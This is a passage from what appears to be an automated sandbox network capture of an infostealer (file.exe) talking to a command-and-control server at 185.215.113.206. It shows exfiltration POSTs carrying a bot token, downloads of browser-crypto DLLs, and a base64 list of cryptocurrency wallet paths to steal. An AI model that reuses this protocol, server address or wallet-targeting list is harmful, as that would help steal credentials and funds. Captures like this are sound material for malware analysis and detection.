name="token"d0a83a98ba011ad5a80129bc91cf6287391ac063aff2e982e6dc3794087ffa6b0976dfa1------EGHCAKKEGCAAFHJJJDBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EGHCAKKEGCAAFHJJJDBKContent-Disposition: form-data; name="file"------EGHCAKKEGCAAFHJJJDBK--
Oct 29, 2024 20:35:08.692740917 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49863	185.215.113.206	80	3340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:35:16.668891907 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECGHJDBFIJJJKEHCBF Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 20:35:16.668976068 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 61 38 33 61 Data Ascii: ------JJECGHJDBFIJJJKEHCBFContent-Disposition: form-data; name="token"d0a83a98ba011ad5a80129bc91cf6287391ac063aff2e982e6dc3794087ffa6b0976dfa1------JJECGHJDBFIJJJKEHCBFContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Oct 29, 2024 20:35:18.078901052 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 20:35:18.221507072 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIECBFIDGDAKFHIEHJKF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 61 38 33 61 39 38 62 61 30 31 31 61 64 35 61 38 30 31 32 39 62 63 39 31 63 66 36 32 38 37 33 39 31 61 63 30 36 33 61 66 66 32 65 39 38 32 65 36 64 63 33 37 39 34 30 38 37 66 66 61 36 62 30 39 37 36 64 66 61 31 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="token"d0a83a98ba011ad5a80129bc91cf6287391ac063aff2e982e6dc3794087ffa6b0976dfa1------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="file"------FIECBFIDGDAKFHIEHJKF--
Oct 29, 2024 20:35:19.005671978 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 20:35:19.742616892 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 20:35:20.028016090 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:19 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 29, 2024 20:35:20.028054953 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVE
Oct 29, 2024 20:35:20.028074026 CET	1236	IN	Data Raw: 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 Data Ascii: tu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8
Oct 29, 2024 20:35:20.028094053 CET	1236	IN	Data Raw: 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 Data Ascii: uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$
Oct 29, 2024 20:35:20.028115988 CET	1236	IN	Data Raw: 89 45 d8 8d 45 dc 89 f9 31 d2 ff 75 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d Data Ascii: EE1uuSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)
Oct 29, 2024 20:35:20.028132915 CET	1236	IN	Data Raw: 8c 00 00 00 8b 55 ac 89 c8 31 db 39 ca 74 3c 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 0f b6 0c 07 30 4c 06 0c 0f b6 0c 07 30 8c 06 8c 00 00 00 0f b6 4c 07 01 30 4c 06 0d 0f b6 4c 07 01 30 8c 06 8d 00 00 00 83 c0 02 39 c2 75 d1 8b 4d f0 31 e9 e8 37 Data Ascii: U19t<f.0L0L0LL09uM17L^_[]USWVh1tlEGGHt1Uuut,tGHjSGW:G
Oct 29, 2024 20:35:20.028150082 CET	848	IN	Data Raw: ff 8b 75 08 8a 04 0e 88 06 c6 04 0e 00 b8 02 00 00 00 66 0f 1f 44 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f b6 14 06 0f b6 f9 01 d7 0f b6 8c 05 f0 fe ff ff Data Ascii: ufDT>\>=t%>>f1hM1)^_[]USWV01Eh1E=s hk
Oct 29, 2024 20:35:20.028297901 CET	1236	IN	Data Raw: 84 ac 00 00 00 8b 45 ec 04 04 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 03 32 14 0f 8b 4d e4 88 51 03 83 fe 04 74 74 8b 45 ec 04 05 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 Data Ascii: E}$7$7u]S2MQttE}$7$7u]S2MQt<E}$7$7u]S2]SEu0EMME)us) }
Oct 29, 2024 20:35:20.028314114 CET	1236	IN	Data Raw: 66 0f 6f 35 e0 20 08 10 66 0f fe c6 f3 0f 5b c0 66 0f 70 fd f5 66 0f f4 e8 66 0f 70 ed e8 66 0f 70 c0 f5 66 0f f4 c7 66 0f 70 c0 e8 66 0f 62 e8 66 0f eb cd 66 0f 72 f3 17 66 0f fe de f3 0f 5b c3 66 0f 70 dc f5 66 0f f4 e0 66 0f 70 e4 e8 66 0f 70 Data Ascii: fo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~MU9UEuUM}]?uu]}9u}UM}]Et5UM9M]
Oct 29, 2024 20:35:20.028327942 CET	1236	IN	Data Raw: 8b 01 89 85 9c fe ff ff 89 c7 01 f7 8b 52 04 89 95 f8 fe ff ff 8b 41 04 89 85 a0 fe ff ff 89 c3 11 d3 8b 41 20 89 85 c4 fe ff ff 01 c7 8b 71 24 11 f3 89 5d c8 89 b5 98 fe ff ff 8b 51 44 31 da 8b 41 40 31 f8 89 fb 81 f2 7f 52 0e 51 89 95 50 ff ff Data Ascii: RAA q$]QD1A@1RQP5}gjM31tQIU]U1P1]PMMEE11xp
Oct 29, 2024 20:35:20.930555105 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 20:35:21.216839075 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:21 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 29, 2024 20:35:22.957384109 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 20:35:23.242635012 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 29, 2024 20:35:23.450093985 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 20:35:23.739140034 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 29, 2024 20:35:24.567675114 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 20:35:24.858232975 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:24 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 29, 2024 20:35:25.072794914 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 20:35:25.358323097 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 29, 2024 20:35:26.428628922 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIDAAFBGDBKJJJKFIIIJ Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 20:35:27.216747999 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 20:35:27.326945066 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJKJDAEBFCBKECBGDBFC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 61 38 33 61 39 38 62 61 30 31 31 61 64 35 61 38 30 31 32 39 62 63 39 31 63 66 36 32 38 37 33 39 31 61 63 30 36 33 61 66 66 32 65 39 38 32 65 36 64 63 33 37 39 34 30 38 37 66 66 61 36 62 30 39 37 36 64 66 61 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 2d 2d 0d 0a Data Ascii: ------JJKJDAEBFCBKECBGDBFCContent-Disposition: form-data; name="token"d0a83a98ba011ad5a80129bc91cf6287391ac063aff2e982e6dc3794087ffa6b0976dfa1------JJKJDAEBFCBKECBGDBFCContent-Disposition: form-data; name="message"wallets------JJKJDAEBFCBKECBGDBFC--
Oct 29, 2024 20:35:27.614759922 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:27 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
